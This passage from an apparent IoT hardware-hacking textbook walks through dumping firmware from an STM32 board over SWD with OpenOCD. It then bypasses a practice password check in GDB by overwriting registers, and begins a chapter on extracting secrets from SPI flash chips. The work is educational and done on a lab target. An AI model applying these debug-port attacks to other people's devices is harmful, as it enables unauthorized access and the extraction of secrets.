you’ll have to select the correct boot mode. STM32F10xxx devices have 
three different boot modes, which you can choose from using the BOOT1 
and BOOT0 pins, as shown in Table 7-1. Reference the pinout diagram in 
Figure 7-11 to locate these two pins on the black pill.

https://github.com/rogerclarkmelbourne/STM32duino-bootloader/
https://github.com/rogerclarkmelbourne/STM32duino-bootloader/
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Table 7-1: Boot Modes for the Black Pill and Other STM32F10xxx Microcontrollers

Boot mode selection pins Boot mode Aliasing

BOOT1 BOOT0

x 0 Main flash 
memory

Selects the main flash memory as the 
boot space

0 1 System memory Selects the system memory as the 
boot space

1 1 Embedded SRAM Selects the embedded SRAM as the 
boot space

Use the jumper pin that comes with the black pill to select the boot mode. 
A jumper pin is a set of small pins in a plastic box that creates an electrical con-
nection between two pin headers (Figure 7-12). You can use the jumper pin to 
connect the boot mode selection pins to VDD (logical 1) or GND (logical 0).

Figure 7-12: A jumper pin,  
also known as a jumper shunt  
or shunt

Connect the jumper pin for both BOOT0 and BOOT1 of the black pill to 
the GND. If you wanted to write to SRAM, you would connect both to VDD.

Uploading the Program 

To upload the program, first, make sure the jumpers for BOOT0 and 
BOOT1 are connected to the GND. Create a new file in the Arduino 
IDE, copy and paste the code from Listing 7-1 into it, and then save 
the file. We used the name serial-simple. Click ToolsBoard and select 
Generic STM32F103C series in the STM32F1 Boards section. Next, click 
ToolsVariant and select STM32F103C8 (20k RAM, 64k Flash), which 
should be the default option. Check that ToolsUpload method is set to 
STLink and, ideally, that Optimize is set to Debug (-g). This ensures that 
debug symbols appear in the final binary. Leave the rest of the options as-is. 

If the black pill has the Arduino bootloader flashed, you can directly 
connect it to your computer via the USB cable without the ST-Link pro-
grammer. Then set the Upload method to STM32duino bootloader instead 
of STLink. But for learning purposes, we’ll use the ST-Link programmer, 
so you don’t need the bootloader preflashed. 

To upload the program to the black pill, connect the ST-Link program-
mer to it. Use four jumper wires to link the SWCLK, SWDIO, GND, and 
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3.3 V pins of the ST-Link to the CLK, DIO, GND, 3.3 V pins of the black pill, 
respectively. These pins are located on the bottom part of the black pill’s pin 
header. Reference Figure 7-14 and Figure 7-15 to see what this looks like.

W A R N I N G 	 You should avoid connecting any of the devices to the USB ports before finishing the wir-
ing setup. It’s good practice to avoid having devices powered on while connecting their 
pins. This way, you’ll prevent accidentally short-circuiting the pins, which, when the 
devices are powered on at the same time, might lead to an overvoltage and destroy them. 

Using a Logic Analyzer to Identify the UART Pins 

Next, identify the UART pins on the device. We showed you how to do this 
with a multimeter earlier in this chapter, but now we’ll use a logic analyzer to 
identify a UART TX pin. A TX pin transmits output, so it’s easy to recognize. 
You can use an inexpensive HiLetgo USB logic analyzer with eight channels 
for this exercise, because it’s compatible with the Saleae Logic software we’ll 
use. Download that software for your operating system from https://saleae.com/
downloads/. (We used the Linux version in this example.) Then unzip the bun-
dle to a local folder, browse to it in a terminal, and enter the following:

$ sudo ./Logic

This command will open Saleae Logic’s graphic interface. Leave it 
open for now.

Make sure any system you’re testing is powered off when you connect the 
logic analyzer’s probes to it to avoid short-circuiting. In this case, because 
the black pill is powered by the ST-Link programmer, temporarily discon-
nect the programmer from your computer’s USB port. Remember that if 
you power off the black pill after uploading the Arduino code to the SRAM 
instead of the flash, you’ll have to reupload the code to the black pill. 

Use a jumper wire to connect one of your logic analyzer’s GND pins to 
one of the black pill’s GND pins so they share a common ground. Next, use 
two more jumper wires to connect the logic analyzer’s CH0 and CH1 chan-
nels (all channel pins should be labeled) to the black pill’s A9 and A10 pins. 
Connect the logic analyzer to a USB port on your computer.

In the Saleae interface, you should see at least a couple of channels in the 
left pane, each of which corresponds to one of the logic analyzer’s channel 
pins. You can always add more channels, if your logic analyzer supports them, 
so you can sample more pins at the same time. Add them by clicking the two 
arrows next to the green Start button to open the settings. You can then select 
how many channels you want to display by toggling the number next to each 
channel. 

In the settings, change the Speed (Sample Rate) to 50 kS/s and the 
Duration to 20 seconds. As a rule, you should sample digital signals at 
least four times faster than their bandwidth. With serial communications, 
which are generally very slow, a 50 kS/s sampling rate is more than enough, 
although sampling faster than this does no harm. As for the duration, 20 sec-
onds is enough time for the device to power on and start transmitting data. 

https://saleae.com/downloads/
https://saleae.com/downloads/
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Click the Start button to begin capturing the signals and immediately 
power on the black pill by connecting the ST-Link programmer to a USB 
port. The session will last for 20 seconds, but you can stop it at any time 
before then. If you don’t see any data on the channels, try power cycling 
the black pill while the session is on. At some point, you should see a signal 
coming from the channel corresponding to the A9 (TX) pin. Zoom in or 
out using your mouse wheel to inspect it more clearly. 

To decode the data, click the + beside Analyzers in the Graphical User 
Interface (GUI)’s right pane, select Async Serial, choose the channel on which 
you’re reading the signal, and set the Bit Rate to 9600. (The bit rate in this 
case is the same as the baud rate.) Note that when you don’t know the bit rate, 
you can select Use Autobaud and let the software work its magic to detect the 
right one. You should now see the Login: prompt from the Arduino program 
as a series of UART packets in the signal you just captured (Figure 7-13).

Figure 7-13: Decoding the UART data coming from the black pill’s TX pin using the Saleae Logic software. In 
the bottom right, you can see the Login: prompt that the Arduino program runs when the device boots.

Notice in Figure 7-13 how the device sends the letter “L,” which indi-
cates the beginning of the login message. The communication starts with 
an idle line (at a logical 1 value). The black pill then sends a start bit with 
a logical 0 value, followed by the data bits, from least to most significant. 
In ASCII, the letter L is 0x4C, or 00110010 in binary, as you can see in the 
transmission. Finally, the black pill sends a stop bit (with a logical 1 value), 
before beginning the letter “o.” 

We placed two timing markers (A1 and A2 in Figure 7-13) on either 
side of one random bit. Timing markers are annotations that you can use 
to measure the time elapsed between any two locations in your data. We 
measured a duration of 100 μs, which proves that the transmission has a 
baud rate of 9600 bits/sec. (One bit takes 1/9600 seconds to transmit, or 
0.000104 seconds, which is roughly 100 μs.) 
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Connecting the USB to a Serial Adapter

To test the USB-to-serial adapter, let’s connect it to our computer. Some 
USB-to-serial adapters, including the one we used, come with a jumper 
pin preinstalled on the RX and TX pins (Figure 7-12). The jumper pin will 
short-circuit the RX and TX pin headers, creating a loop between them. 
This is useful for testing that the adapter works: connect it to your comput-
er’s USB port and then open a terminal emulator program, such as screen 
or minicom, to that port. Try using the terminal emulator to send serial data 
to the connected devices. If you see the keystrokes echoed in the terminal, 
you know the adapter works. The reason is that your keyboard sends charac-
ters through the USB port to the adapter’s TX pin; because of the jumper, 
the characters get sent to the RX pin and then returned to the computer 
through the USB port. 

Plug the adapter into your computer with the jumper pin in place, and 
then enter the following command to see which device file descriptor it was 
assigned to: 

$ sudo dmesg 
…
usb 1-2.1: FTDI USB Serial Device converter now attached to ttyUSB0

Typically, it will be assigned to /dev/ttyUSB0 if you don’t have any other 
peripheral devices attached. Then start screen and pass it the file descriptor 
as an argument:

$ screen /dev/ttyUSB0

To exit the screen session, press CTRL-A followed by \. 
You can also provide the baud rate as a second argument. To find the 

current baud rate of the adapter, enter the following:

$ stty -F /dev/ttyUSB0
speed 9600 baud; line =0;
…

This output shows that the adapter has a baud speed of 9600. 
Verify that the adapter is working and then remove the jumper  

pin, because we’ll need to connect the RX and TX pins to the black pill. 
Figure 7-14 shows the connections you have to make. 

Connect the adapter’s RX pin to a TX pin on the black pill (pin A9, 
in this case). Then connect the adapter’s TX pin to the black pill’s RX pin 
(A10). Using A9 and A10 is important, because these pins correspond to the 
Serial1 interface we used in the Arduino code. 

The USB-to-serial adapter must have the same GND as the black pill, 
because the devices use GND as a point of reference for voltage levels. The 
Clear to Send (CTS) pin should be set to GND as well, because it’s consid-
ered active when low (meaning at a logic level of 0). If it weren’t connected 
to GND, it would float high, indicating that the adapter isn’t clear to send 
bytes to the black pill.
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STM32F103C8T6
black pill

USB-to-serial adapter

3.3 V DIO CLK GND

USB GNDGND

A9

A10

USB port

USB port

USB

GND VCCCTS

RXD

RTS RXD TXD

3.3 V
SWDIO
SWCLK

GND

USB ST-Link 

Figure 7-14: Pin connections between the black pill, ST-Link, USB-to-serial adapter, and laptop

Connecting to a Computer

Once you’ve connected the black pill, ST-Link, and USB-to-serial adapter, 
connect the ST-Link to a USB port on your computer. Then connect the 
adapter to a USB port. Figure 7-15 shows an example setup. 

W A R N I N G 	 Notice that the black pill isn’t connected to any USB port. Instead, it’s powered 
through the ST-Link programmer. Connecting the black pill to any USB port in this 
setup might burn it. 

Now that the setup is ready, return to the Arduino IDE. Enable verbose 
output by clicking FilePreferences and selecting the Show verbose out-
put during: compilation checkbox. Then click SketchUpload to compile 
the program and upload it to the black pill. 
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Figure 7-15: The black pill, ST-Link programmer, and USB-to-serial adapter are connected 
using jumper wires. Note that the black pill isn’t connected to any USB port; the ST-Link 
programmer powers it.

Because we enabled verbose output in the Arduino IDE, compiling 
and uploading the program should give you a lot of information about the 
process, including a temporary directory that stores the intermediate files 
necessary for compilation (Figure 7-16). 

Figure 7-16: Verbose output from Arduino IDE when compiling and uploading the pro-
gram. Highlighted is the temporary directory you’ll need.

On Linux, this directory typically looks like /tmp/arduino_build_336697, 
where the last number is a random identifier (yours will obviously be differ-
ent) that changes with new builds. When you compile your program, take 
note of this directory, because you’ll need it later.

At this point, open the serial monitor console by clicking ToolsSerial 
Monitor. The Serial Monitor is a pop-up window that can send and receive 
UART data to and from the black pill. It has similar functionality to screen, 
used earlier, but it’s built into the Arduino IDE for convenience. Click 
ToolsPort to make sure you’ve selected the USB port to which your USB-
to-serial adapter is connected. Check that the Serial Monitor’s baud rate is 
9600, like we specified in the code. You should then see the Login: prompt 
from our Arduino program. Enter some sample text to test the program. 
Figure 7-17 shows a sample session. 

If you enter anything other than sock-raw.org, you should get the Access 
Denied message. Otherwise, you should get the ACCESS GRANTED message. 
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Figure 7-17: The Serial Monitor pop-up window in the Arduino IDE

Debugging the Target
Now it’s time for the main exercise: debugging and hacking the black pill. 
If you followed all of the previous steps, you should have a fully working 
debugging environment and the black pill should contain the Arduino  
program we wrote. 

We’ll use OpenOCD to communicate with the black pill using SWD 
through the ST-Link programmer. We’ll leverage that connection to open a 
remote debugging session with GDB. Then, using GDB, we’ll walk through 
the program’s instructions and bypass its authentication check.

Running an OpenOCD Server

We’ll start OpenOCD as a server. We need OpenOCD to communicate with 
the black pill through SWD. To run it against the black pill’s STM32F103 
core using the ST-Link, we have to specify the two relevant configuration 
files using the -f switch:

$ sudo openocd -f /usr/local/share/openocd/scripts/interface/stlink.cfg -f /usr/local/share/
openocd/scripts/targets/stm32f1x.cfg 
 [sudo] password for ithilgore: 
Open On-Chip Debugger 0.10.0+dev-00936-g0a13ca1a (2019-10-06-12:35)
Licensed under GNU GPL v2
For bug reports, read
	 http://openocd.org/doc/doxygen/bugs.html
Info : auto-selecting first available session transport "hla_swd". To override use 'transport 
select <transport>'.
Info : The selected transport took over low-level target control. The results might differ 
compared to plain JTAG/SWD
Info : Listening on port 6666 for tcl connections
Info : Listening on port 4444 for telnet connections
Info : clock speed 1000 kHz
Info : STLINK V2J31S7 (API v2) VID:PID 0483:3748
Info : Target voltage: 3.218073
Info : stm32f1x.cpu: hardware has 6 breakpoints, 4 watchpoints
Info : Listening on port 3333 for gdb connections

These configuration files help OpenOCD understand how to interact 
with the devices using JTAG and SWD. If you installed OpenOCD from 
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source, as described earlier, these configuration files should be in /usr/local/
share/openocd. When you run the command, OpenOCD will start accepting 
local Telnet connections on TCP port 4444 and GDB connections on TCP 
port 3333.

At this point, we’ll connect to the OpenOCD session with Telnet and 
begin issuing some commands to the black pill over SWD. In another ter-
minal, enter the following:

$ telnet localhost 4444
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Open On-Chip Debugger
> 1reset init 
target halted due to debug-request, current mode: Thread 
xPSR: 0x01000000 pc: 0x08000538 msp: 0x20005000
> 2halt 
> 3flash banks 
#0 : stm32f1x.flash (stm32f1x) at 0x08000000, size 0x00000000, buswidth 0, chipwidth 0
> 4mdw 0x08000000 0x20 
0x08000000: 20005000 08000539 080009b1 080009b5 080009b9 080009bd 080009c1 08000e15 
0x08000020: 08000e15 08000e15 08000e15 08000e15 08000e15 08000e15 08000e15 08000e35 
0x08000040: 08000e15 08000e15 08000e15 08000e15 08000e15 08000e15 08000a11 08000a35 
0x08000060: 08000a59 08000a7d 08000aa1 080008f1 08000909 08000921 0800093d 08000959 
> 5dump_image firmware-serial.bin 0x08000000 17812 
dumped 17812 bytes in 0.283650s (61.971 KiB/s)

The reset init command 1 halts the target and performs a hard reset, 
executing the reset-init script that is associated with the target device. This 
script is an event handler that performs tasks like setting up clocks and 
JTAG clock rates. You can find examples of these handlers if you inspect 
the openocd/scripts/targets/ directory’s .cfg files. The halt command 2 sends 
a halt request for the target to halt and enter debug mode. The flash banks 
command 3 prints a one-line summary of each flash memory area that was 
specified in the OpenOCD .cfg file (in this case, stm32f1x.cfg). It printed the 
black pill’s main flash memory, which starts at the address 0x08000000. This 
step is important, because it can help you identify which segment of memory 
to dump firmware from. Note that sometimes the size value isn’t reported 
correctly. Consulting the datasheets remains the best resource for this step.

We then send the 32-bit memory access command mdw 4, starting at 
that address, to read and display the first 32 bytes of flash memory. Finally, 
we dump the target’s memory from that address for 17812 bytes and save it 
into a file named firmware-serial.bin in our computer’s local directory 5. We 
got the number 17812 by inspecting the size of the Arduino program file 
loaded in the flash memory. To do this, issue the following command from 
the temporary Arduino build directory:

/tmp/arduino_build_336697 $ stat -c '%s' serial-simple.ino.bin 
17812
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You can then use tools like colordiff and xxd to see whether there are any 
differences between the firmware-serial.bin file that we dumped from the flash 
memory and the serial-simple.ino.bin file that we uploaded through the Arduino 
IDE. If you dumped the exact number of bytes as the size of the Arduino pro-
gram, there should be no differences in the output of colordiff:

$ sudo apt install colordiff xxd
$ colordiff -y <(xxd serial-simple.ino.bin) <(xxd firmware-serial.bin) | less

We recommend you experiment with more OpenOCD commands; 
they’re all documented on its website. One useful command to try is the 
following: 

> flash write_image erase custom_firmware.bin 0x08000000

You can use it to flash new firmware.

Debugging with GDB

Let’s debug and alter the execution flow of the Arduino program using GDB. 
With the OpenOCD server already running, we can start a remote GDB ses-
sion. To help us, we’ll use the Executable and Linkable Format (ELF) file created 
during the Arduino program compilation. The ELF file format is the stan-
dard file format for executable files, object code, shared libraries, and core 
dumps in Unix-like systems. In this case, it acts as an intermediate file during 
compilation.

Browse to the temporary directory returned during compilation. Make 
sure you change the random number part of the directory name to the 
one that you got from your own Arduino compilation. Then, assuming 
your Arduino program was named serial-simple, start a remote GDB session 
using gdb-multiarch with the arguments shown here: 

$ cd /tmp/arduino_build_336697/
$ gdb-multiarch -q --eval-command="target remote localhost:3333" serial-simple.ino.elf
Reading symbols from serial-simple.ino.elf...done.
Remote debugging using localhost:3333
0x08000232 in loop () at /home/ithilgore/Arduino/serial-simple/serial-simple.ino:15
15       if (start == true) { 
(gdb)

This command will open the GDB session and use the local ELF binary 
file (called serial-simple.ino.elf) created by Arduino during compilation for 
debug symbols. Debug symbols are primitive data types that allow debuggers 
to gain access to information, such as variables and function names, from 
the binary’s source code. 

In that terminal, you can now issue GDB commands. Start by entering 
the info functions command to verify that the symbols have indeed been 
loaded:

(gdb) info functions
All defined functions:
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File /home/ithilgore/Arduino/hardware/Arduino_STM32-master/STM32F1/cores/maple/HardwareSerial.
cpp:
HardwareSerial *HardwareSerial::HardwareSerial(usart_dev*, unsigned char, unsigned char);
int HardwareSerial::available();
…
File /home/ithilgore/Arduino/serial-simple/serial-simple.ino:
void loop();
void recv_data();
void setup();
void validate();
…

Now let’s place a breakpoint on the validate() function, because the 
name implies that it does some sort of checking, which might be related to 
authentication.

(gdb) break validate
Breakpoint 1 at 0x800015c: file /home/ithilgore/Arduino/serial-simple/serial-simple.ino, line 
55.

Because the debugging information recorded in the ELF binary informs 
GDB about what source files were used to build it, we can use the list com-
mand to print parts of the program’s source. You’ll rarely have this conve-
nience in real reverse engineering scenarios, where you’ll have to rely on the 
disassemble command, which shows the assembly code instead. Here is the 
output of both commands:

 (gdb) list validate,
55     void validate() {
56       Serial1.println(buf);
57       new_data = false;
58
59       if (strcmp(buf, "sock-raw.org") == 0)
60         Serial1.println("ACCESS GRANTED");
61       else {
62         Serial1.println("Access Denied.");
63         Serial1.print("Login: ");
64       } 
(gdb) disassemble validate
Dump of assembler code for function validate():
   0x0800015c <+0>: push   {r3, lr}
   0x0800015e <+2>: ldr    r1, [pc, #56] ; (0x8000198 <validate()+60>)
   0x08000160 <+4>: ldr    r0, [pc, #56] ; (0x800019c <validate()+64>)
   0x08000162 <+6>: bl     0x80006e4 <Print::println(char const*)>
   0x08000166 <+10>: ldr    r3, [pc, #56] ; (0x80001a0 <validate()+68>)
   0x08000168 <+12>: movs   r2, #0
   0x0800016a <+14>: ldr    r0, [pc, #44] ; (0x8000198 <validate()+60>)
   0x0800016c <+16>: ldr    r1, [pc, #52] ; (0x80001a4 <validate()+72>)
   0x0800016e <+18>: strb   r2, [r3, #0]
   0x08000170 <+20>: bl     0x8002de8 <strcmp>
   0x08000174 <+24>: cbnz   r0, 0x8000182 <validate()+38>
   0x08000176 <+26>: ldr    r0, [pc, #36] ; (0x800019c <validate()+64>)
…
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N O T E 	 You can use shorter versions of many GDB commands, such as l instead of list, 
disas instead of disassemble, and b instead of break. When you’ve spent enough time 
in GDB, these shortcuts prove invaluable.

If you have only the assembly code, import the file (in this case serial-
simple.ino.elf) into a decompiler like those that Ghidra or IDA Pro provide. 
This will help you tremendously, because it will translate the assembly code 
into C, which is much easier to read (Figure 7-18).

Figure 7-18: Using the decompiler in Ghidra to quickly read C code instead of assembly code

If you have only the hex file (for example, the firmware-serial.bin) as a 
result of dumping the firmware from the flash memory, you’ll first have to 
disassemble it using the ARM toolchain like this:

$ arm-none-eabi-objdump -D -b binary -marm -Mforce-thumb firmware-serial.bin > output.s

The output.s file will contain the assembly code. 
Next, let’s look at how we can bypass our target’s simple authentication 

process. Allow normal execution of the program to continue by issuing the 
continue command (or c for short):

(gdb) continue
Continuing.

The program is now waiting for serial input. Open the serial monitor 
from the Arduino IDE like we did on page 180, enter a sample password, 
like test123, and press ENTER. On the GDB terminal, you should see that 
the breakpoint for the validate function gets triggered. From then on, we’ll 
make GDB automatically display the next instruction to be executed each 
time the program stops by issuing the command display/i $pc. Then we’ll 
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gradually step one machine instruction at a time using the stepi command 
until we reach the strcmp call. When we reach the Print::println call, we’ll 
use the next command to step over it, because it doesn’t concern us in this 
context (Listing 7-2).

Breakpoint 1, validate () at /home/ithilgore/Arduino/serial-simple/serial-simple.ino:55
55     void validate() {
(gdb) display/i $pc 
1: x/i $pc
=> 0x800015c <validate()>:  push   {r3, lr}
(gdb) stepi
halted: PC: 0x0800015e
56         Serial1.println(buf);
3: x/i $pc
=> 0x800015e <validate()+2>:	 ldr    r1, [pc, #56]	 ; (0x8000198 <validate()+60>)
(gdb) stepi
halted: PC: 0x08000160
0x08000160    56         Serial1.println(buf);
1: x/i $pc
=> 0x8000160 <validate()+4>:	 ldr    r0, [pc, #56]	 ; (0x800019c <validate()+64>)
(gdb) stepi
halted: PC: 0x08000162
0x08000162    56         Serial1.println(buf);
1: x/i $pc
=> 0x8000162 <validate()+6>:	 bl     0x80006e4 <Print::println(char const*)>
(gdb) next
halted: PC: 0x080006e4
57         new_data = false;
1: x/i $pc
=> 0x8000166 <validate()+10>:      ldr    r3, [pc, #56]	 ; (0x80001a0 <validate()+68>)
(gdb) stepi
halted: PC: 0x08000168
0x08000168    57         new_data = false;
1: x/i $pc
=> 0x8000168 <validate()+12>:      movs   r2, #0
(gdb) stepi
halted: PC: 0x0800016a
59	      if (strcmp(buf, "sock-raw.org") == 0)
1: x/i $pc
=> 0x800016a <validate()+14>:ldr    r0, [pc, #44]	 ; (0x8000198 <validate()+60>)
(gdb) stepi
halted: PC: 0x0800016c
0x0800016c    59         if (strcmp(buf, "sock-raw.org") == 0)
1: x/i $pc
=> 0x800016c <validate()+16>:      ldr    r1, [pc, #52]	 ; (0x80001a4 <validate()+72>)
(gdb) stepi
halted: PC: 0x0800016e
57          new_data = false;
1: x/i $pc
=> 0x800016e <validate()+18>:	 strb	 r2, [r3, #0]
(gdb) stepi
halted: PC: 0x08000170
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59          if (strcmp(buf, "sock-raw.org") == 0)
1: x/i $pc
=> 0x8000170 <validate()+20>:      bl     0x8002de8 <strcmp>
(gdb) x/s $r0 1
0x200008ae <buf>:    "test123"
(gdb) x/s $r1 2
0x8003a48:    "sock-raw.org"

Listing 7-2: Stepping through our program’s validate function in GDB

The last two GDB commands (x/s $r0 1 and x/s $r1 2) display the con-
tents of the registers r0 and r1 as strings. These registers should hold the two 
arguments passed to the strcmp() Arduino function, because according to the 
ARM Procedure Call Standard (APCS), the first four arguments of any func-
tion are passed in the first four ARM registers r0, r1, r2, r3. That means the r0 
and r1 registers hold the addresses of the string test123 (which we supplied as 
a password) and the string of the valid password, sock-raw.org, against which 
it’s compared. You can display all the registers at any time in GDB by issuing 
the info registers command (or i r for short). 

We can now bypass authentication in multiple ways. The easiest way 
is to set the value of r0 to sock-raw.org right before execution reaches the 
strcmp() call. You can easily do that by issuing the following GDB command:

set $r0=”sock-raw.org” 

Alternatively, if we didn’t know the correct passphrase’s string value, 
we could bypass the authentication by fooling the program into thinking 
that strcmp() had succeeded. To do that, we’ll change the return value of 
strcmp() right after it returns. Notice that strcmp() returns 0 if it succeeds. 

We can change the return value using the cbnz command, which stands 
for compare and branch on non-zero. It checks the register in the left operand, 
and if it’s not zero, branches, or jumps, to the destination referenced in the 
right operand. In this case, the register is r0 and it holds the return value  
of strcmp():

   0x08000170 <+20>:	 bl     0x8002de8 <strcmp>
   0x08000174 <+24>:	 cbnz   r0, 0x8000182 <validate()+38>

Now we’ll step inside the strcmp() function by issuing another stepi 
when we reach it. Then we can step out of it by issuing a finish command. 
Immediately before the cbnz command executes, we’ll change the r0 value 
to 0, which indicates that strcmp() was successful:

(gdb) stepi
halted: PC: 0x08002de8
0x08002de8 in strcmp ()
3: x/i $pc
=> 0x8002de8 <strcmp>:      orr.w  r12, r0, r1

(gdb) finish
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Run till exit from #0  0x08002de8 in strcmp ()
0x08000174 in validate () at /home/ithilgore/Arduino/serial-simple/serial-simple.ino:59
59	     if (strcmp(buf, "sock-raw.org") == 0)
3: x/i $pc
=> 0x8000174 <validate()+24>:      cbnz   r0, 0x8000182 <validate()+38>
(gdb) set $r0=0
(gdb) x/x $r0
0x0:   0x00
(gdb) c
Continuing.

When we do this, our program won’t branch to the memory address 
0x8000182. Instead, it will continue by executing the instructions immedi-
ately after cbnz. If you now let the rest of the program run by issuing a con-
tinue command, you’ll see an ACCESS GRANTED message in the Arduino serial 
monitor, indicating that you successfully hacked the program! 

There are even more ways to hack the program, but we’ll leave such 
experimentation as an exercise for you. 

Conclusion
In this chapter, you learned how UART, JTAG, and SWD work and how you 
can exploit these protocols to gain complete access to a device. Most of the 
chapter walked through a practical exercise that used an STM32F103C8T6 
(black pill) microcontroller as a target device. You learned how to code and 
flash a simple Arduino program that performs a very basic authentication 
routine through UART. Then you interfaced with the device using a USB-
to-serial adapter. We leveraged an ST-Link programmer to access SWD on 
the target through OpenOCD and, finally, we used GDB to dynamically 
bypass the authentication function. 

Exploiting UART—and especially JTAG and SWD—almost always 
means that you can gain complete access to the device, because these inter-
faces were designed to give manufacturers full debugging privileges for 
testing purposes. Learn how to leverage them to their fullest potential and 
your IoT hacking journey will become much more productive! 



This chapter introduces you to the Serial 
Peripheral Interface (SPI) and the Inter-

Integrated Circuit (I 2C), two common com-
munication protocols in IoT devices that use 

microcontrollers and peripheral devices. As you 
learned in Chapter 7, sometimes simply connecting 
to interfaces, such as UART and JTAG, gives us  
direct access to a system shell, maybe one that the manufacturers left 
purposely. But what if the device’s JTAG or UART interfaces require 
authentication? Or worse, what if they’re not implemented? In those 
cases, you’ll still likely find older protocols like SPI and I2C built into  
the microcontrollers. 

In this chapter, you’ll use SPI to extract data from EEPROM and other 
flash memory chips, which often contain firmware and other important 
secrets, such as API keys, private passphrases, and service endpoints. You’ll 
also build your own I2C architecture and then practice sniffing and manipu-
lating its serial communications to force the peripherals to perform actions. 

8
S P I  A N D  I 2 C 
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Hardware for Communicating with SPI and I2C
To communicate with SPI and I2C, you’ll need some specific hardware. You 
could use a breakout board or programmer for EEPROM/flash memory 
chips if you’re willing to desolder the chips (which should be your last 
resort). But if you prefer to not desolder anything from the circuit board, 
you can use either test hook clips or small outline integrated (SOIC) clips, 
which are cheap and handy. 

For the SPI project in this chapter, you’ll need an eight-pin SOIC 
clip cable or hook clips to connect to the flash memory chips. SOIC clips 
(Figure 8-1) might be tricky to use, because you need to align the pads per-
fectly when connecting the clip to the chip. Hook clips might work better 
for some people.

Figure 8-1: An eight-pin SOIC cable

You’ll also need a USB-to-serial interface. Although you could use  
the adapter used in Chapter 7, we recommend the Bus Pirate (http:// 
dangerousprototypes.com/docs/Bus_Pirate), a robust open source device that  
supports multiple protocols. It has built-in macros for IoT hacking, including 

http://dangerousprototypes.com/docs/Bus_Pirate
http://dangerousprototypes.com/docs/Bus_Pirate
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scanning and sniffing capabilities for I2C and many other protocols. You could 
also try more expensive tools that can parse I2C messages in more formats, 
like the Beagle (https://www.totalphase.com/products/beagle-i2cspi/) or Aardvark 
(https://www.totalphase.com/products/aardvark-i2cspi/). In this chapter, you’ll learn 
how to use Bus Pirate’s built-in macros to perform common attacks. 

Additionally, to run the I2C lab exercise later in this chapter, you’ll 
need an Arduino Uno (https://store.arduino.cc/usa/arduino-uno-rev3/), at least 
one BlinkM LED (https://www.sparkfun.com/products/8579/), a breadboard, 
and some jumper cables.

You might also use Helping Hands, devices that help you hold multiple 
hardware parts. They have a wide range of prices. Refer to “Tools for IoT 
Hacking” for a complete list of tools along with descriptions of some of 
their strengths and weaknesses.

SPI
SPI is a communication protocol that transmits data between peripherals 
and microcontrollers. Found in popular hardware like the Raspberry Pi and 
Arduino, it’s a synchronous communication protocol, which means it can transfer 
data faster than I2C and UART. Often, it’s used for short-distance commu-
nications in places where read and write speeds matter, such as in Ethernet 
peripherals, LCD displays, SD card readers, and the memory chips on almost 
any IoT device. 

How SPI Works
SPI uses four wires to transmit data. In full duplex mode, when data trans-
missions happen simultaneously in both directions, it relies on a controller-
peripheral architecture. In such an architecture, the device that serves as 
the controller generates and controls a clock that regulates the data transfer, 
and all devices that serve as peripherals listen and send messages. SPI uses 
the following four lines (not counting the ground): 

Controller In, Peripheral Out (CIPO)    For messages sent by peripher-
als to the controller 

Controller Out, Peripheral In (COPI)    For messages from the control-
ler to peripherals

Serial Clock (SCK)    For an oscillating signal that indicates when 
devices should read lines of data 

Chip Select (CS)    To select the peripheral that should receive a 
communication 

Notice that, unlike UART, SPI uses separate lines for sending and 
receiving data (COPI and CIPO, respectively). Also note that the hardware 
required to implement SPI is cheaper and simpler than UART, and it can 
achieve higher data rates. For these reasons, many microcontrollers used in 
the IoT world support it. You can learn more about SPI implementations at 
https://learn.sparkfun.com/tutorials/serial-peripheral-interface-spi/all/.

https://www.totalphase.com/products/beagle-i2cspi/
https://www.totalphase.com/products/aardvark-i2cspi/
https://store.arduino.cc/usa/arduino-uno-rev3/
https://www.sparkfun.com/products/8579/
https://learn.sparkfun.com/tutorials/serial-peripheral-interface-spi/all/.
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Dumping EEPROM Flash Memory Chips with SPI
Flash memory chips often contain the device’s firmware and other impor-
tant secrets, so extracting data from them can yield interesting security 
findings, such as backdoors, encryption keys, secret accounts, and so on. 
To locate the memory chips in an IoT device, open its external case and 
remove the PCB. 

Identifying the Chip and Pins

Locate your device’s flash memory chip. Products that have been hard-
ened for security will usually delete the chip labels on the device, but flash 
memory chips commonly have 8 or 16 pins. You can also find the chip by 
looking up the microcontroller’s datasheet online, as we did in Chapter 7. 
The datasheet should contain a diagram showing the pins’ configuration 
and descriptions. The datasheet will likely also contain information con-
firming whether the chip supports SPI. Other information, such as pro-
tocol version, speeds supported, and memory size, will also prove useful 
when configuring the tools for interacting with SPI. 

Once you’ve identified the memory chip, find the small dot at one of 
the chip’s corners that labels pin #1 (Figure 8-2).

Figure 8-2: The flash memory chip
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Now connect the first pin of an eight-pin SOIC cable to pin #1. The first 
pin of the SOIC clip often has a different color than the others, making it 
easier to find. Use the pin configuration pulled from the datasheet to align 
the rest of the SOIC pads correctly. Figure 8-3 shows a common alignment. 
For example, the WinBond 25Q64 memory chip uses this alignment. 

• 1(/CS)

2 (DO)

3 (/WP)

4 (GND)

8 (VCC)

7 (/HOLD)

6 (CLK)

5 (DI)

Figure 8-3: A memory chip’s pin configuration diagram

When you’ve connected all parts of the SOIC clip to the memory flash 
chip, your setup should look like the one in Figure 8-4. Be careful connect-
ing the SOIC clip because you can easily damage the pins. 

Figure 8-4: SOIC clip connected to the flash memory chip
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If you’re having trouble aligning the pads, test hook clips (Figure 8-5) 
work too; you might find them easier to connect.

Figure 8-5: Hook clips connect to the SPI pins 

Communicating with the SPI Chip

You’ll need a USB-to-serial adapter to read the memory chip’s contents. We’ll 
use the Bus Pirate in this example, but you could use any adapter, because 
most support read operations. If you use the Bus Pirate, make sure you 
upgrade its firmware to the latest stable release. 

Make sure the device whose memory you’re extracting is powered off; 
then make the connections. Connect the Bus Pirate’s pins and the chip’s 
pins using the SOIC clip, as the datasheet indicates. For example, we’d con-
nect the pins for the WinBond 25Q64 chip as shown in Table 8-1. 

Table 8-1: Connecting the Pins

Device/Bus Pirate

Pin #1 (CS)  CS

Pin #2 (DO)  CIPO (MISO)

Pin #4 (GND)  GND

Pin #5 (DI)  COPI (MOSI)

Pin #6 (CLK)  CLK

Pin #8 (VCC)  3V3
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N O T E 	 Your board or diagrams could be labeled using the old SPI signal names MISO and 
MOSI instead of CIPO and COPI, respectively. You might also encounter the outdated 
master/slave terms instead of controller/peripheral in diagrams and boards for I2C. 

When you’re done, your connections should look like those in 
Figure 8-6. 

Figure 8-6: The Bus Pirate connected to the SPI chip with hook clips. We used Helping 
Hands to hold the different components.

